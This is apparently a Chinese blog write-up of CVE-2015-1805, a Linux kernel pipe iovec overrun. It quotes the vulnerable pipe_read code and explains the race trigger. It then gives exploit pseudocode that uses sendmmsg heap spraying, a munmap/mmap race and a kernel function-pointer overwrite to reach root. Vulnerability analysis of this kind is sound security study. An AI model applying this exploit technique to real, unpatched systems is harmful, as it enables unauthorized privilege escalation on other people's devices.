2016-07-07

CVE-2015-1805

在linux 内核3.16版本之前的fs/pipe.c当中,由于piperead和pipewrite没有考虑到拷贝过程中数据没有同步的一些临界情况,造成了拷贝越界的问题,因此有可能导致系统crash以及系统权限提升。这种漏洞又称之为"I/O vector array overrun"。

漏洞代码

struct iovec
{
    void __user *iov_base;  /* BSD uses caddr_t (1003.1g requires void *) */
    __kernel_size_t iov_len; /* Must be size_t (1003.1g) */
};

/**
 *  struct pipe_buffer - a linux kernel pipe buffer
 *  @page: the page containing the data for the pipe buffer
 *  @offset: offset of data inside the @page
 *  @len: length of data inside the @page
 *  @ops: operations associated with this buffer. See @pipe_buf_operations.
 *  @flags: pipe buffer flags. See above.
 *  @private: private data owned by the ops.
 **/
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

static ssize_t
pipe_read(struct kiocb *iocb, const struct iovec *_iov,
       unsigned long nr_segs, loff_t pos)
{
    ...
    total_len = iov_length(iov, nr_segs);
    ...
    // 循环读取内存数据到iovec,iovec用户定义,把pipe里面的数据写到iov里指向的用户空间地址里
    for (;;) {
        int bufs = pipe->nrbufs;
        if (bufs) {
            ...
            // chars = pipe_buffer.len, inside the @page即max = 0x1000
            size_t chars = buf->len, remaining;
            ...
            if (chars > total_len)
                chars = total_len;
            ...
            // 检查iovecs中的每一个iov->base是否是一个可写的用户态内存页
            // 如果全部可写返回0,那么atomic=1,接下来会直接使用__copy_to_user,不对目标地址再作检查
            atomic = !iov_fault_in_pages_write(iov, chars);
            remaining = chars;
            offset = buf->offset;
redo:
            addr = ops->map(pipe, buf, atomic);
            // 如果copy到len=X,出错返回,那么已经copy成功的iov->iov_len会被减去,但是读取缓冲区的长度total_len,并没有同步减少。
            // 进入redo逻辑后,还会继续copy长度为total_len的字节, 但是iov已经在前一次失败中减去已经copy的长度X。
            // 那么最终会向iov后越界copy len=X个长度的数据,aka"iovec overrun"
            error = pipe_iov_copy_to_user(iov, addr, &offset,
                              &remaining, atomic);
            ops->unmap(pipe, buf, addr);
            if (unlikely(error)) {
                /*
                 * Just retry with the slow path if we failed.
                 */
                if (atomic) {
                    atomic = 0;
                    goto redo;
                }
                if (!ret)
                    ret = error;
                break;
            }
            ret += chars;
            buf->offset += chars;
            buf->len -= chars;
            ...
            total_len -= chars;
            if (!total_len)
                break;  /* common path: read succeeded */
        }

       ...
}


static int
pipe_iov_copy_to_user(struct iovec *iov, void *addr, int *offset,
              size_t *remaining, int atomic)
{
    unsigned long copy;

    while (*remaining > 0) {
        while (!iov->iov_len)
            iov++;
        copy = min_t(unsigned long, *remaining, iov->iov_len);

        // 如果atomic=1,直接调用__copy_to_user,否则使用copy_to_user进行地址检查(access_ok)
        if (atomic) {
            if (__copy_to_user_inatomic(iov->iov_base,
                            addr + *offset, copy))
                return -EFAULT;
        } else {
            if (copy_to_user(iov->iov_base,
                     addr + *offset, copy))
                return -EFAULT;
        }
        // 每次copy完一个iov的时候对iov->len的长度进行更新
        *offset += copy;
        *remaining -= copy;
        iov->iov_base += copy;
        // !!! 如果copy到len=X,出错返回,那么已经copy成功的iov->len会被减去
        iov->iov_len -= copy;
    }
    return 0;
}

触发逻辑

第一次拷贝: iovfaultinpageswrite()检测通过即atomic = 1。 pipeiovcopytouser()中途失败即其中某一个iov->base指向的内存页无效。

第二次拷贝,进入redo逻辑: pipeiovcopytouser()成功,即使其中失效的iov->base重新生效。 此时atomic在第一次失败时候置0,因此会使用copytouser,因此不能触发越界写,保证一个合法的buf->len拷贝完成功返回。 并且让total_len稍大于buf->len(max=0x1000),拷贝完成还有剩余进入下一次循环。

第三次拷贝: iovfaultinpageswrite()检测通过即atomic = 1。 pipeiovcopytouser()越界拷贝。

利用

struct iovec iov[0x200];
for (i = 0; i < 0x200; i++) {
    iov[i].iov_base = 0x4000000 + i * 0x1000;
    if (i == 0)
        iov[i].iov_len = 0;
    else if (i == 1)
        iov[i].iov_len = 0x20;
    else
        iov[i].iov_len = 0x8;
}

total_len = (0x200-2)*8+0x20 = 0x1010

第一次拷贝:

iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
iov[1]->iov_base = 0x40001000;
iov[1]->iov_len = 0x20;
iov[2]->iov_base = 0x40002000;
iov[2]->iov_len = 0x8;
iov[3]->iov_base = 0x40003000;
iov[3]->iov_len = 0x8;
iov[4]->iov_base = 0x40004000;
iov[4]->iov_len = 0x8;
...

iovfaultinpageswrite()检测通过,在pipeiovcopytouser()中将 iov[2]->iov_base = 0x40002000 这个内存地址设置成无效, 这时iov的值如下

iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
iov[1]->iov_base = 0x40001000;
iov[1]->iov_len = 0x0;      // !!! 这个长度值已经被消耗
iov[2]->iov_base = 0x40002000;      // unmap 设置无效
iov[2]->iov_len = 0x8;
iov[3]->iov_base = 0x40003000;
iov[3]->iov_len = 0x8;
iov[4]->iov_base = 0x40004000;
iov[5]->iov_len = 0x8;

函数返回后执行 redo。

第二次拷贝:

iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
iov[1]->iov_base = 0x40001000;
iov[1]->iov_len = 0x0;      // !!! 这个长度值已经被消耗
iov[2]->iov_base = 0x40002000;      // mmap 设置有效
iov[2]->iov_len = 0x8;
iov[3]->iov_base = 0x40003000;
iov[3]->iov_len = 0x8;
iov[4]->iov_base = 0x40004000;
iov[5]->iov_len = 0x8;

pipeiovcopytouser函数正常执行完以后,iov的值如下

  iov[0]->iov_base = 0x40000000;
  iov[0]->iov_len = 0x0;
  ...
  iov[0x1ff]->iov_base = 0x401ff000;
  iov[0x1ff]->iov_len = 0x0;

到这个时刻,分配的iov[0x200] 其实已经使用完毕, 但是因为第一次调用时故意引发的错误导致 total_len -= chars 没有更新。

total_len = 0x1010; 
chars = 0x1000,
total_len -= chars;
total_len = 0x10;

第三次拷贝:

iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
...
iov[0x1ff]->iov_base = 0x401ff000;
iov[0x1ff]->iov_len = 0x0;
iov[0x200]->iov_base = ????????;
iov[0x200]->iov_len = ????????;

再次进入pipeiovcopytouser(),由于 0x1ff 项已经使用完了, 继续累加就会开始往0x200项的iovbase写值了,这样就产生了一个数组越界写。 只要控制 iov[0x200]->iovbase 和 iov[0x200]->iov_len 的内容,就达到了内核任意地址写任意值。

整理整个逻辑流程如下(参考race时间轴图解CVE-2015-1805):

time_line

利用伪代码:


void
init_payloads() {
    for (i = 0; i < 0x200; i++) {
        iov[i].iov_base = mmap(0x1000);
        if (i == 0)
            iov[i].iov_len = 0;
        else if (i == 1)
            iov[i].iov_len = 0x20;
        else
            iov[i].iov_len = 0x8;
    }
}

void 
write_msg() {
    msg.msg_hdr.msg_iov = iovecs_write;
    msg.msg_hdr.msg_iovlen = 0x200;
    msg.msg_hdr.msg_control = iovecs_write;
    msg.msg_hdr.msg_controllen = (0x200 * sizeof(struct iovec));
    while (!stop_send) {
        i_ret = syscall(__NR_sendmmsg, fd_sock, &msg, 1, 0);
    }
}

int
heap_spray() {
    for (i = 0; i < 0x200; i++) {
        iovecs_write[i].iov_base = (void*)flag_addr;
        iovecs_write[i].iov_len = 0x1000;
    }
    iovecs_write[0].iov_len = 0;
    iovecs_write[1].iov_base = (void*)patch_kernel_addr;
    iovecs_write[1].iov_len = 0x10;     // patch len

    for(255) {
        pthread_create(write_msg);
    }
    stop_send = 1;
    pthread_join();
    stop_send = 0;
}

void
read_msg() {
    pthread_mutex_lock(&mutex_read_msg);
    readv();
}

int 
main(int argc, char* argv[],char *env[]) {

    // padding iovec[0x200]
    init_payloads();

    // padding patch_kernel_addr
    heap_spray();

    do {
        // write do_root addr
        write_pipe(get_root_addr);

        // lock
        pthread_mutex_lock(&mutex_read_msg);

        pthread_create(read_msg);
        // wait readv() ready
        usleep(100);

        pthread_mutex_unlock(&g_mutex_read_msg);
        munmap();
        mmap();
    } while (*(int*)flag_addr != get_root_addr)

    printf("success\n");

    // if patch_kernel_addr == fsync_addr
    fd = open("/dev/ptmx");
    fsync(fd);
}

没有评论:

发表评论

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...